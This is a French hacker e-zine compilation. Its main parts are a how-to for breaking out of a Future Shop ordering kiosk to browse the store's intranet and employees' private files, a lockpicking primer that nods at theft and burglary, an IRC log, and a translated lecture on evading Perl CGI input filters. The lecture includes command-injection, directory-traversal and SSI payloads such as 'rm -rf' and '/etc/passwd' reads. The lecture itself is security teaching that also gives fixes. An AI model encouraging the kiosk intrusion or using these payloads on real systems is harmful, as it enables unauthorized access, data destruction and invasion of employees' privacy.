Ce qu'on a oublier

Mme si l'article est pesant, ya des choses qu'on a oublis.
- GPS : c'est tjrs le fun d'avoir un GPS pour garder une trace de o vous avez
  trouver  l'access point.  Ya plein  de  tools  et bidules  pour le  GPS,  et
  la  pluspart   des   progs   du   style   de    kismet/dstumbler/netstumbler
  propose une interface pour le GPS. 
- Camouflage  : Vous  avez une  12dbi omni  et vous  voulez la  camoufler pour
  dehors? Transformer la magiquement en morpe!
  http://www.mindkind.org/morpe.jpg ou mkd-morpe.jpg dans mindkind101-full.zip


Links pour les vendredis soir pluvieux

http://www.wardriving.com
http://www.wi-foo.com/index-3.html (bonne liste de tools)
http://www.stumbler.net/
http://www.kismetwireless.net/
http://www.dachb0den.com/projects/bsd-airtools.html
http://www.goonda.org/wireless/prism2/
http://www.seattlewireless.net/
http://hostap.epitest.fi/
http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/
http://www.google.ca/search?q=wifi ;-)


This article was sponsored by:
- Mr_Peuch
- Mr_Spark
- LastCall_
- Steeve Oksala <-- lui i pwn :D


.----------------------------------------------- - - --- - ---
| LastCall_ & Mr_Peuch               www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



/************************
 * Future shop en show
 * Entre-Article 
 * init_null 2004
 *************************/

Pour tout ceux et, dans une autre dimension, celles, qui n'ont rien de mieux   
faire que de  fouiller  des  documents  privs  en  public,  voici  une  petite 
dcouverte qui peut s'avrrer interessante si  vous  tes  dsesprment    la 
recherche d'une activite pour perdre votre temps inintlligeament.

Perdant mon temps dans un futureshop pendant qu'un ami magasinais un cran pour 
couter des films en conduisant (!?)  mon  attention  s'est  tourne  vers  les 
terminaux que le magasin met a disposion  pour les clients de faon  ce qu'ils 
commandent eux-mmes.

Ce sont des Pc tournant sous windows XP avec un  browser  special  (probalement 
fait en c#) bas sur le  core  de  IE  qui  n'implmente que quelques fonctions 
comme la barre de bouton  principale,  pas  de  menubar  ni de barre d'adresse. 
Notez qu'il se  relance ds qu'on le ferme avec une hotkey.

J'tais donc en train de chercher une faon d'accder aux fichier du  terminaux 
quand je  me  suis  rendu  compte  que  la  page  d'acceuil  tournais  avec une 
protection ssl (le merveilleux cadenas), j'ai donc fait consult les proprits 
de la page en utilisant le deuxieme  bouton  gracieusement  non dsactiv de la 
sourie sur la page web et  click  sur  le  petit  bouton "Certificats" dans la 
fentre qui venait  d'apparaitre  ce  qui  a  du c oup ouvert la petite fentre 
d'information  du  certificat.  Sous  l'onglet  "dtails"  j'ai  t surpris de 
retrouver  le  bouton  "Copier  dans  un  fichier" Activ. Cette option sert en 
gnral  exporter les informations pour une consultation ultrieure.

Clickant sur le bouton "suivant", l'assistant d'exportation est  apparu  et  ma 
aid  choisir un format d'exportation, j'ai donc choisi le format binaire cod 
(celui par dfaut) et j'ai  appuy  sur  "next".  C'est alors que le systme ma 
stupfait, en laissant   ma disposition un bouton "parcourir". Je me suis donc 
empress de clicker dessu pour enfin recevoir un common dialog me permettant de 
naviguer dans l'ordinateur. j'ai donc  inscrit  "*.*"  dans  la  case  "nom  du 
fichier" et j'ai appuyer sur "enter" ce qui me donna une  vision  sur  tout les 
fichiers disponibles.

Malheureusement le pc lui-mme ne me laissait  pas  beaucoup  d'access sur  les 
fichiers mais j'ai tout de mme dcid d'aller vrifier si il  y avait quelques 
machines dans les favoris locaux (Accss qu'on aurait d'ailleur du dsactiver  
l'utlisateur). J'ai t agrablement surpris  de retrouver plus d'une centaines 
de groupe de travail qui  eux  contiennent plusieurs machines dont le site web, 
les machines  de  comptabilit,  ceux  des  techniciens,  etc... Bienvenue dans
l'intranet de futureshop.

Biensur vous n'avez pas write access mais c'est tout de mme  trs  interessant 
de visioner les documents et leur contenu surtout quand  il  s'agit  de grosses 
demandes de soumission ou encore de photos  privs  d'un  des  employ  qui  se 
laisse trainer.

Amusez-vous bien et rapellez vous que vous tes dans un future shop  donc soyez 
discrets. Si vous trouvez des  informations  interessantes  et  que  vous  etes 
willing  faire une suite  cet article, il y aura  surment de la place dans le 
prochaine zine (heheh).

					init_null.



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.03  Lockpicking : Beginner Handbook
:                              aka 'clef pas clef j'y vais'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

Ce  petit documentaire sur papier virtuel ne constitue pas un howto mais plutot 
un  guide  ultime   pour   le  dbutant  turbo  qui  vient  d'entendre  le  mot 
"lockpicking" pour la premire fois et qui se  voit  dja en train de dvaliser 
une banque avec un costume de spider-man, soyez-en averti.

Premirement en tant que dbutant, il faut se procurer un kit  de lockpicks, et 
plusieurs options s'offrent  nous. 

Si  vous  tes  du  genre  faible  budget je vous invites  vous rendre sur les 
forums de lockpicking 101 (www.lockpicking101.com) et   demander  un lien pour 
le video "making_picks_1.wmv". Ce que vous  devez  savoir  des  picks fait  la 
mains c'est qu'il sont en tout points indentiques  ceux commerciaux quand vous 
les reusisez bien et qu'ils peuvent mme s'avrer meilleurs dans bien des cas. 
Je ne discuterai pas plus sur le sujet car le vido est trs complet.

Si vous tes un peu plus fortun vous pouvez acheter votre kit  sur  internet  
l'adresse suivante : www.lockpicks.com, ils sont  fiables  et  j'ai a plusieurs 
reprises fait affaires avec eux.  Si  vous  tes un dbutant je vous conseilles 
FORTEMENT de vous rendre dans la section "build hand pick set" et  Achetez  les 
items suivants (avec les bonnes quantites) dans leur sections  respectives :

- init_null ultimate lockpicking begginer kit -

	Section "Stainless steel picks WITHOUT reinforced handles"  :
	- 1 double ball pick (1.50$) 
		- Utilis pour les wafer lock (indispensable)
	- 1 Long hook pick (1.50$) 
		- Assez utile dans les plus gros cadenas comme les viro 50mm
	- 3 short hook pick (1.50$) 
		- LE pick pour picker des tumbler. Certaines personnes vont
		  suggrer un diamond mais par exprience je certifie que
		  l'on pick tout avec un hook. L'ide d'en acheter 3 c'est
		  que vous allez probablement en casser un ou deux au dbut.
	- 1 Double-Ended Snake-Hook Pick (1.50$) 
		- Ca c'est pour faire du "Raking" un technique qui brise
		  les serrures et qui est trs peu prcise mais souvent
		  trs utile sur les cadenas cheap que vous voulez pas
		  forcment passer 10 ans dessu. C'est aussi la seule
		  technique qui peux thoriquement ouvrir une serrure
		  Medeco

	Section "Spring steel tension wrenches" :
	- 1 THIN tension wrench  (1.75$) 
		- Barre de tension trs mince mais utile dans les petites
		  serrures
	- 3 Thick tension wrench (1.75$) 
		- Le modle universel de barre de tension

	Section "Pick Handle Grip Sleeves" :
	- 7 Plastic Sleeves for Pick Handles (2.95$) 
		- C'est 2.95$ pour les 7. Un peu optionel mais je
		  trouve que les poignes donnent vraiment un bon
		  contrle et vont vous viter d'avoir les mains en 
		  sang apres 10 heures de pratique. Notez que le modele
		  en caoutchouc n'est pas pour les picks que nous avons
		  choisi.

	Section "Pick set cases" : (*OPTIONEL*)
	- 1 Small Snap-Over Case (8.95$)
		- Trs utile pour ne pas percer vos poches lorse que
		  vous dplacez vos outils.


Grand total : 15.45$ USD (Sans case), 24.40$ USD (Avec case)

Pendant les deux a trois semaines que vont prendre la livraison de vos  outils, 
vous allez devoir apprendre la thorie relie au  lockpicking.  Pour  cela   je 
conseille 3 sites majeurs :
	- http://www.lysator.liu.se/mit-guide/mit-guide.html
		- Ce site explique le fonctionement lmentaire des
		  serrures dites "pin tumbler" avec un modle simple
		   comprendre
	- http://www.crypto.com/papers/notes/picking/index.html
		- Ce site donne de trs bonnes informations et montre lui
		  aussi une bonne dose de thorie avec des photos reles.
		  je vous conseille de vous rfrer  la fois  ce site
		  ainsi qu' celui ci-dessu.
	- http://www.lockpicking101.com/
		- Le forum sur le lockpicking le plus actif du net
		  les administrateurs sont des serruriers professionels
		  et il y a une trs grande population d'amateurs
		  expriments.
	
Ds que  vous  recevez vos outils il va faloir commencer  pratiquer solidement 
si vous voulez finir par ouvrir beaucoup de  serrures  diffrentes  en  peu  de 
temps. Ce que je vous conseille c'est de  vous  trouver un cadenas Master, ceux 
avec l'anneau bleu dans le  bas  et de commencer  jouer dedans. Peu importe si 
vous l'ouvrez en 15 segondes, cela ne veux pas dire que vous tes ninja-n mais
seulement que vous tes trs chanceux. Lorse  que  vous  pourrez hors  de  tout 
doutes ouvrir votre master en moin de 5 segondes plus de 40 fois en ligne, vous 
saurez que vous en avez termin avec ce cadenas.

L'ide c'est en gros de toujour maitriser une serrure avant  de changer. vitez 
par contre les cadenas suivants :
	- Master pro sries
			- Ces cadenas contiennent des pins de scurit
			  vous serez capable de les ouvrir avec le temps
			  mais ce n'est pas dutout une bonne ide pour
			  un dbutant
	- Medeco
		- Mme les grands experts ne peuvent ouvrir ce
		  genre de serrure de facon constante
	- American padlock
		- Same
	- Abus
		- Ces cadenas contiennent des pins de scurit
	- Viro
		- Ces cadenas contiennent des pins de scurit

Pour ceux avec des pins de scurit, Il va vous faloir a peu pres 450 heures de 
pratique  avant  de  pouvoir  les ouvrir de facon rgulire. Choisisez aussi de 
prfrence des cadenas neufs car  la  rouille  peux  augmenter  le  niveau   de 
dificult d'une serrure par un facteur de 10.

Comme  j'ai  dit  plus  haut, c'est une question de pratique  il  faut  toujour 
pratiquer constament a raison d'au moin  2  heures  par  jour. Quand vous aurez 
fait 1 ou 2 mois sans  vous  dcourager (ce qui mtonerais pour 95% de ceux qui
lisent cet article) il sera interessant d'aller  l'extrieur pour  commencer a 
ouvrir des serrures alatoires et dtriors par la nature. Certaines personnes 
volent les cadenas qu'ils  ouvrent par chance pour se pratiquer dans le confort 
de leur maisons. Je ne peut pas vous inciter  le faire...

Je croit que vous avez tout ce dont vous  avez  besoin  et  je  vous  encourage 
grandement  tenir le coup durant les  long  mois de pratiques qui vont suivre, 
rappelez vous que  les  techniques  comme  le  raking  ne sont pas une solution 
efficace et que cela endomage les serrures (donc ne rakez pas  votre  porte  de 
maison vos clefs ne fonctioneront plus dedans).

Si vous envisagez le lockpicking pour  cambrioler  je  vous  suggre  fortement 
d'oublier ca et de vous acheter un pick  gun,  c'est beaucoup plus efficace que 
des lockpicks et  ca  prend  peu pres 13 de QI pour l'utiliser. Le lockpicking
est agrable  apprendre parce qu'il necssite  beaucoup  de  technique  et  de
maitrise  de soi-meme, c'est un peu  comme  un  art  martial  qui vous aportera 
beaucoup  de  libert  de  mouvement  dans  des  environements cloturs et vous 
sortira d'embaras partout o vous oublirez vos clefs.

Pour ceux qui dans plusieurs mois auront persvrs et  qui  se  chercheront un 
kit de lockpicks plus prcis et plus  fragile (surtout),  j'ai  rceament  fait 
l'aquisition du kit  17  piece  LAB  en vente sur lockpicks.com et je suis trs
satisfait  du  produit.  Notez  que  j'utilise  encore  des  picks  home made  
l'ocasion car ils vont trs bien et au prix qu'ils coutent c'est pas trop grave 
quand tu en casses un.

Soyez responsable. happy lockpicking.

.----------------------------------------------- - - --- - ---
| init_null   [init_null at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -
    


  < Mindkind tales from IRC >
  
  [15:18] <HolyGod> genre la mere a melissa qui call la police parce qu'a voit
                    mon nick ds sons status suite a un kick
  [15:18] <HolyGod> et la a dis que je suis ds son ordinateur en train de
                    la hacker
  [15:18] <LastAWAY_> HolyGod no jokes?
  [15:18] <HolyGod> lol
  [15:18] <HolyGod> LastAWAY_, no jokes.
  [15:18] <LastAWAY_> HAHAHA
  [15:18] <LastAWAY_> esti.
  [15:18] <HolyGod> tu connais pas les folles de valley :P
  15:19] <LastAWAY_> ca mrite que je quote a
  [15:19] <LastAWAY_> hahaha
  [15:20] <HolyGod> si a voix sa a va t'envoyer une mise a en demeure
  [15:20] <HolyGod> so change les nom pour du fictif genre "PasMlissa Leroux"
  [15:20] <TheCopsss> hahahaha
  [15:21] <TheCopsss> Stune folle elle
  [15:21] <HolyGod> folle raide
  [15:21] <LastAWAY_> hahah
  
  < ----------------------- >



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__

|           mkd.04  Les problmes dans les filtres Perl
:                              aka 'Comment SeriousMan a russi  
                                    traduire un texte d'une langue 
                                    qu'il ne la parle pas'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



I-intro:
Salut tt le monde ,j'en ai pas envie d'ecrie une intro alors bye .
(ptet que j'aurai envie d'ecrire une outro)


II-La traduction:

                 par b0iler : 
                        b0iler@hotmail.com : une conference  donne  le  17  en
                        irc.unixhideout.con #bsrf
                  Ecrit pour :
                        http://b0iler.eyeonsecurity.net/ -  mon  site   remplis 
                        d'autres tutorials cool
                        http://blacksun.box.sk/ - un  site  legendaire  remplis 
                        de tutorial original



--- b0iler has changed the topic to: Blacksun Research Facility - 
http://blacksun.box.sk - lecture in progress: "Problems in Perl Filters" 
- msg questions during lecture to b0iler. 
--- b0iler sets modes [#bsrf +m]


<b0iler> Les problemes communs de filtrage en Perl
<b0iler> --intro
<b0iler> Cette conference peut etre utile aussi pour les autres languages, 
mais les syntax et les idees exact sont pour Perl
<b0iler> Cette conference sera en mode +m et toutes les questions seront 
pose en me /msg'an, messagez moi vos questions quand vous voulez , et je 
repondrez au mme instant , ou je les garderai pour la fin.
<b0iler> --
<b0iler> Les principales problemes de filtrage en Perl sont:
<b0iler> Le manques complet de filtres
<b0iler> Les filtres qui oublient des caracteres
<b0iler> Les filtres avec des faux ordre
<b0iler> Les filtres qui filtre les prcdant filtre (ou se filtre eux mme!
j'expliquerai a plus tard)
<b0iler> Et multiple variable d'entre oublie dans les filtres
<b0iler> --
<b0iler> Le "qu'est ce que" et le "pourquoi" des filtres Perl:
<b0iler> Allons voir qu'est ce que sont les filtres Perl et pourquoi ils 
sont tellement important en termes de scurit.  
<b0iler> Les filtres sont des faons pour Perl de arrter les mauvaises 
choses de se passer.
<b0iler> Par exemple si vous faisiez a :
<b0iler> $blah = `cat $ENV{'QUERY_STRING'}`;
<b0iler> alors l'attaquant peut facilement entre; quelquchose de ce genre:
<b0iler> script.cgi?/etc/password  
<b0iler> Ce qui lira votre fichier de mot de passe, ou il pourra mme tre 
plus astucieux et fera quelque chose qui aura cet effet:
<b0iler> script.cgi?file.txt;rm -rf anything/
<b0iler> (vous aurez besoins de l'url pour encoder quelque caractre)
<b0iler> Tellement de programmeurs de Perl filtre les caractre qui font 
ces mauvaise choses.
<b0iler> Ceci est une bonne ide et il faudra presque  chaque script  
avoir un systme de filtrage. Quoique mme un defaut dans le systme de 
filtrage pourra avoir comme effet beaucoup de problme de scurit.
<b0iler> --
<b0iler> Types de filtrage:
<b0iler> Il y'a deux grand type de filtrage , ce sont:
<b0iler> Filtrage d'entre
<b0iler> Filtrage de sortie
<b0iler> Le filtrage des entre est le plus utilise, et generallement le 
plus srieux pour la scurit
<b0iler> Il vient avant qu'aucune action ne soit pris sur l'entre de 
l'utilisateur. ce qui arrtera tout les caractre suspect de faire des 
actions sur le script
<b0iler> Beaucoup de gens font l'erreur de ne filtrer que les entre. 
quoique pas toujours ncessaire, le filtrage des sorties est trs utile 
pour arrter les File Reading Vulnerabilities, Cross Site Scriptting, et 
autres attaques
<b0iler> Les filtrage des sorties c'est de filtre les choses avant quel 
soit envoyer vers le client, base de donne,fichier ou autres sorties
<b0iler> --
<b0iler> Les mthodes de filtrage:
<b0iler> Il y'a deux grandes faons de filtrer :
<b0iler> Filtrer les mauvaises entres
<b0iler> Autoriser les bonnes entre
<b0iler> Il y'a aussi beaucoup d'autre faons pour filtrer, comme la 
vrification de taille (ndt:length checking), le pattern checking (ndt:
pas de traduction a ma connaissance) , et quelque autres mthodes bizarres.
<b0iler> Le filtrage des mauvaises entre est le plus utilise, et aussi 
celui ou les programmeurs commet le plus de fautes   
<b0iler> En filtrant les mauvaises entre il est extrmement facile 
d'oublier quelque chose ou ne pas connatre une caractristique en Perl 
ou une caractristique d'un programme externe que le script utilise.
<b0iler> Ces filtres oubli peuvent aboutir a des vulnrabilits trs 
facilement. Elles ne feront que prendre quelque seconde de rflexion  
l'attaqueur pour chercher des faons cratifs pour s'vader des filtre 
ou d'appliquer des vieilles mthodes en une autre faon - Si une mthode 
est filtr essayer de le faire dans une autre faons qui ne l'ai pas
<b0iler> Autoriser les bonnes entre est la mthode prfre pour arrter 
les mauvaise entre de devenir un problme de scurit
<b0iler> Ceci parce que vous ne permettez qu'au bons caractre d'entrer , 
et donc vous arrtez toutes autres mauvaises combinaisons possible, qui 
seront dur a filtrer avec la mthode de filtrage des mauvaises entre
<b0iler> Mais parfois permettre les entres est impossible si vous voulez 
de donner au usagers de la flexibilit. vous ne pourrez pas toujours les 
limiter  un ensemble de caractre, Vous serez oblig de faire une 
dcision sur combien d'importance devra aller  la scurit est combien  
l'utilisabiliter
<b0iler> Ceci est un exemple de filtrage des mauvaises entres :
<b0iler> $blah = $ENV{'QUERY_STRING'}; 
<b0iler> $blah =~ s/\;//;  
<b0iler> print `cat $blah`;  
<b0iler> Ceci arrtera les gens de faire 'cat fichier.txt;touch fichier2.txt' 
(utilisant ; pour mettre une autre commande)
<b0iler> Mais si vous lisiez mon tutorial : "Hacking CGI - Security and Exploitation"  
( http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm ) vous saurez 
le nombre de mthodes  utiliser des diffrentes mthodes pour faire des 
choses dans les commandes de systme.
<b0iler> Il est extrmement dur de arrter tout les combinaison possible 
des mauvaises entres individuellement. Donc allons faire un coup d'oeuil 
sur comment juste autoris les bonnes entres:
<b0iler> $blah = $ENV{'QUERY_STRING'};  
<b0iler> $blah =~ s/[^a-zA-Z0-9\.\-_]//g;  
<b0iler> print `cat $blah`;  
<b0iler> print `cat $blah`; #*  
<b0iler> Ceci arrtera tout ce qui pourra ne pas tre bon dans le 
'Filename' d'tre cat' (ndt:originalement cat'd). Mais il y'a une autre 
mthode pour l(autorisation des bon entres que je prfre:
<b0iler> Cette mthode consiste  denier l'accs  tout si l'utilisateur 
entre un caractre non permis: 
<b0iler> $blah = $ENV{'QUERY_STRING'};  
<b0iler> if($blah =~ m/[^a-zA-Z0-9\.\-_]/){ die "mauvais caractres, il n'est 
permis que a-zA-Z0-9 . - et _\n"; }  
<b0iler> print `cat $blah`;  
<b0iler> Ok, assez pour les infos de contexte (ndt:background info). 
Allons apprendre comment pourra-t-on casser ces protection ?
<b0iler> --
<b0iler> Mon procdes d'exploit de filtre:
<b0iler> La mthode que j'utilise est de chercher en premier les fautes 
communes dans les filtres. Je ne pense pas rellement sur ce qu'il faut 
tre permis ou pas.
<b0iler> Je vois premirement si c'est un filtrage de mauvaise entres 
ou juste une permission des bonnes entres.  si c'est qu'une autorisation 
des bonnes entres alors mon test sera normalement court.
<b0iler> Je verrai ce que je peut faire avec les caractres permis ,
(probablement pas grand chose). Puis je regarderai le reste du script 
pour voir si quelque chose de particulier peut servir avec les caractres 
autorise.
<b0iler> Mais si ils filtrent les mauvaises entres, les choses seront un 
peu plus de fun =)
<b0iler> Avant mme de voir ce que fait le script je chercherai si ils ont 
oublie un des basiques :
<b0iler> Ont-ils oublie un mauvais caractre?
<b0iler> Pourra t'on s'vader du filtre par l'insertion de caractre?
<b0iler> Est ce qu'ils filtrent avec le bon ordre?
<b0iler> Ont-t-ils oublie de filtrer une entre d'utilisateur?
<b0iler> Je note tout problmes possible puis je vais voir ce que le script 
fait en dtail. Apres je vais voir la structure du script ,je cherche des 
calls spcifique qui pourront tre abuse.
<b0iler> Puis je revient aux filtres et je vois si aucun combo de caractre 
autorise pourra abuser ces call.
<b0iler> Si je ne trouve rien , j'irai m'asseoir et je penserai  une 
mthode pour s'vader du filtre. Parfois je fait beaucoup de test pour 
voir commement le filtre travail dans certaines situations et si rien ne 
peut s'y glisser dedans.
<b0iler> J'ai beaucoup appris en contrlant des filtres  la recherche 
des failles quand j'tait nouveau dans Le monde de Perl.
<b0iler> C'est une bonne ide de savoir beaucoup de choses sur les autres 
facteurs en jouant. Parfois vous pouvez trouv une petite/inconnue 
caractristique dans quelque chose que le script ne filtre pas. Si le 
programmeur ne connat pas qu'un certain caractre peut faire quelque 
chose il y a beaucoup de chance qu'il ne le filtre pas.
<b0iler> --
<b0iler> L'exploitation des filtres en pratique:
<b0iler> Cette parti sera le noyau de la confrence (ndt: donc la plus 
importante), et ou vous apprenderez les plus importantes informations. 
ceci ne sera en aucun cas une liste complte ou quelque chose de a, 
j'espre que vous trouverai des nouvelle mthode pour s'vader des filtres 
et que vous les partag avec moi ( b0iler@hotmail.com ) (ndt: parlais le 
en anglais bien sr).
<b0iler> Je ne voudrez pas 'd'alimenter' (ndt: On peu faire des blagues 
en traduisant, non? ;) les script kiddies ici, on les donnant les recettes 
exact pour exploiter les filtres, mais a serai ncessairement mchant 
contre ceux qui veulent apprendre la scurit.
<b0iler> Je commencerai par les filtres contre la "directory transversal" 
faille (ndt: pas de traduction a ma connaissance, mais mot par mot a 
serai , faille de traversement de dossier), les basics sont:
<b0iler> $blah =~ s/\.\.//g;  
<b0iler> $blah =~ s/\.\.\///g;  
<b0iler> $blah =~ s/\.//;  
<b0iler> $blah =~ s/[^\w\._\-]//;  
<b0iler> il y a d'autre, mais ceux-ci sont quelque uns. Le premier est 
pour le caractre '..'donc pour s'vader de ceci vous pourrai faire 
quelque chose comme:
<b0iler> $blah = '.\./';  
<b0iler> Ce qui passera par le filtre et reviendra dans un dossier. Ce 
truc marche aussi pour le deuxieme, qui filtre les '../'
<b0iler> Mais ce dernier a un autre problme. Il sorte de toute les 
chane le caractre '../' dedans ce qui signifie que 'ab../cd' deviendra 
'abcd' et quelque chose comme:
<b0iler> $blah = '.../...//';  
<b0iler> Donc aprs que le filtre efface tout les '../' de $blah, il 
deviendra un '../' (ndt: abacadraba!!! magique non )donc pour rparer 
tout ceci nous aurons a ajouter une boucle dans le filtre, denier les 
entres utilisateur, ou de ne pas remplacer les chanes par rien.
<b0iler> Voici un exemple de boucle :
<b0iler> while($blah =~ /\.\.\//){ $blah =~ s/\.\.\///; }  
<b0iler> Un example de denie des entres de l'utilisateur : 
<b0iler> if($blah =~ /\.\.\//){ die "Caractere interdit en entres.\n"; }  
<b0iler> Et enfin un exemple pour replacer le caractre par quelque chose 
d'autre:
<b0iler> $blah =~ s/\.\.\//_/;  
<b0iler> Tout ceux la arrteront les attaques du type '.../...//'. 
Le dernier retournera le '.../...//' en un '._._/'
<b0iler> Le 3eme travail bien pour se dbarrasser une des reverse 
directory transversales ('../'), mais il ne pourra pas tre utilise 
si on a besoin de '.' dans l'entre. Il n'y a rellement aucun 
mthode contre cela  moins que vous spcifier le chemin complet 
commencent par la racine , par exemple '/etc/passwd' qui n'a pas 
de '.' dedans.
<b0iler> Le 4eme est le meilleur de ces filtres, il n'autorise que ce 
que nous savons bon. Pas de surprise que nous n'avons pas penser d'entrer 
la bas. Ca serait une bonne ide de filtrer les '..' avec celui ci ,juste 
au cas ou.
<b0iler> Maintenant changions de sujet et discutons des techniques 
principale utilise pour vaincre les filtres .
<b0iler> +Manque complet de filtres
<b0iler> Ceci est une bonne mthode vidente pour passer des les filtres ,
s'ils n'existe pas ils ne pourrons pas vous arrter. ;)
<b0iler> Beaucoup de fois les programmeurs n'ont aucune connaissance en 
matire de scurit et ne met aucun filtre ou il oublie un ou deux filtres 
requis.
<b0iler> Toujours prenez du temps  penser sur  tout ce que l'usager peu 
entres et si il faut que vous le filtrez ou non. Quand vous doutez  je 
dirais qu'il soit mieux que vous le filtrer qu moins pour les caractre 
permis juste pour tre safe.   
<b0iler> +Filtres qui oublient des caractres:
<b0iler> Ceci est un peu comme oubli tout le filtre, mais cette fois 
le programmeur  essay d'tre secure, mais a oubli un caractre/chane 
importante.
<b0iler> La plus pars du temps c'est parce que le programmeur ne connat 
pas que la chane qu'il a oublie peut tre utilise pour causer des dommages.                                       
<b0iler> Par exemple, une newbie de Linux peut ne pas savoir ce que && 
peut tre utilis pour mettre des commandes supplmentaires. Alors ils 
oublient ce filtre mme quand ils filtrent pour les '|' et autre ';'
<b0iler> desol, utilisateur de *nix.
<b0iler> print `cat /etc/passwd && less /etc/hosts`; #pour dmontrer comment 
la multiplication des commandes peut tre utilise avec '&&'.
<b0iler> Pour jouer avec un des types de Shell commandes, je suggeste 
que vous soyez un expert dans le Shell, apprendre beaucoup sur les 
diffrentes mthodes de Perl pour ouvrir un Shell, et de filtrer trs 
bien (n'autorise que ce qui est bon).                         
<b0iler> Allez voir mon tutorial: 
http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm 
pour plus d'exemples sur cet technique (ndt:en anglais bien sur).
<b0iler> +Les filtres qui sont dans un mauvais ordre:
<b0iler> C'est une bonne ide de prendre un peu du temps et de penser dans
quelle ordre faut-il que vos filtres viennent. Si vous filtrez quelque chose 
dans le mauvais ordre les problmes pourront arrive.
<b0iler> The most widely avalible example of this would be something like:  
<b0iler> Le plus con des exemples qui soit valable sera quelque chose comme:
<b0iler> $blah =~ s/aa//g;  
<b0iler> $blah =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
#Convertie l'encodage de l'url en ascii
<b0iler> La mthode pour vaincre ce filtre de 'aa' sera  d'encoder votre 
'aa' dans l'url en '%61%61'. Le prochain problme de filtrage sera a peu 
prs le mme que celui ci.
<b0iler> +Les filtres qui filtrent prcdent filtres (ndt: !!!)     
<b0iler> This is a strange one I found pretty earily in my perl journey. 
This one is simular to the '.../...//' trick discribed eariler.  
<b0iler> Celle la est une bonne trange que j'ai trouv un peut tt de mon 
voyage Perl. elle est similaire au truc de  '.../...//' qu'on l'a dcrit 
prcdemment.
<b0iler> Ce qui se passe c'est qu'un filtre cherche une chane, tant que 
l'autre change cette mme chane un peu plus tard.
<b0iler> So an attacker can get a string to pass the first filter, and 
then have the next filter(s) change the string into a dangerous one.  
<b0iler> Donc un attaquant pourra prendre le caractre pour passer le 
premier filtre ,puis verra le second filtre le changeant en un caractre
 dangereux.
<b0iler> Un example sera plus facile a suivre:
<b0iler> $blah =~ s/<!--(.|\n)*-->//g;  
<b0iler> $blah =~ s/javascript//ig;  
<b0iler> Ci-dessus on a le filtre commun le plus utilis pour se 
prvenir des ssi et pour filtrer les 'javascript'.
<b0iler> La methode de passer de ce filtre est d'utiliser le filtre de 
'javascript' en ordre pour changer le caractere en un ssi. donc si:
<b0iler> $blah = '<javascript!-- #exec cmd="rm -rf /home/you/www" -->';  
<b0iler> Alors $blah passera du premier filtre sans changer, puis 
tournera en '<!-- #exec cmd="rm -rf /home/you/www" -->' qui un mauvais 
caractre, qu'il est sens tre filtrer par le premier filtre.
<b0iler> Cette technique pourra aussi tre utiliser avec juste un filtre.  
Vous l'avez dj vu ceci avec l'exemple de '.../...//'.
<b0iler> +Multiples variables entrer oubli dans le filtres
<b0iler> Cette technique est plus utilis dans les sorties (html, 
base de donnes, etc...), ou avec les chemain de fichier. Mais je l'ai 
deja vu marcher dans d'autres places, donc garder vos yeux ouvert pour 
elle.
<b0iler> Voila un exemple avec les chemin de fichier (ndt: filepath) 
(prtendez que tout les directory transversal sont impossible):
<b0iler> $blah =~ s/\.\./;  
<b0iler> oups
<b0iler> $blah =~ s/\.\.//;  
<b0iler> $file =~ s/\.\.//;                                                                                                                        
<b0iler> open(FILE "/home/user/${blah}$file");  
<b0iler> Si $blah = '.'; et $bleh = './unautreutilisateur/file'; 
le chemin complet du fichier sera alors : '/home/user/../unautreutilisateur/file' 
<b0iler> Ce problme est beaucoup vu quand les filtres essaye d'arrter 
les ssi ou les cross site scriptting. Si deux variables sont afficher en 
html, alors il vous faudra d'tre sr qu'elles ne sont pas vades de vos 
filtres.
<b0iler> Effectivement, c'est un problme difficile a reparer.  Peut 
etre que mettre tout les resultat dans une seul variable puis filtrer 
la sortie est la meilleur solution.
<b0iler> --  
<b0iler> C'est pas mal du tout pour cette confrence, je vais juste ajouter 
une autre technique d'vasion de ce pauvre filtre Perl qui est utilis tout 
le temps .
<b0iler> $blah =~ s/<!--(.|\n)*-->//g;  
<b0iler> J'ai dj dis que ce filtre est utilis pour arrter les ssi.  
Mais d'aprs mes essais il y a une mthode pour tourner autour ce filtre.  
qui est if:
<b0iler> $blah = '<!-- #exec cmd="rm -rf /home/you/www" - ->';  
<b0iler> Notez l'espace dans '- ->'  la fin.
<b0iler> Maintenant $blah passera le filtre et restera accepter par ssi. 
Au moins d'aprs mes test, si vous pouvez, merci d'essayer ceci chez vous 
et contactez moi si '- ->' marche .
<b0iler> Ces types d'attaque, o insrer des caractre peut tre un grand 
problme si vous ne savais pas tout les variables du systme et les dtail 
sur comment marche t'elles. Aussi vous prouvez trouver des nouvelles 
mthodes pour exploiter des filtres trs commun (ndt: donc trs utilis) 
avec cette mthode, ainsi exprimentez beaucoup avec ce qui est possible 
et ce qui ne l'est pas.
<b0iler> --  
<b0iler> Maintenant c'est le temps de la discussion, j'essayerai de 
repondre  toute les questions  (si vous en avez) ou vous aidez a mieux 
comprendre quelquechose. Cette partie pourra etre editt dans le log puis 
envoyer au bsrf site (ndt: Black Sun Research Fquelquechose).
<b0iler> S'il vous plait essayez de se retenir de parler  moins que vous 
ayez une question ou quelque chose a ajout  la discussion. Ne parlez pas 
sur autres choses qui ne regardent pas les filtres Perl.

--- b0iler sets modes [#bsrf -m]  

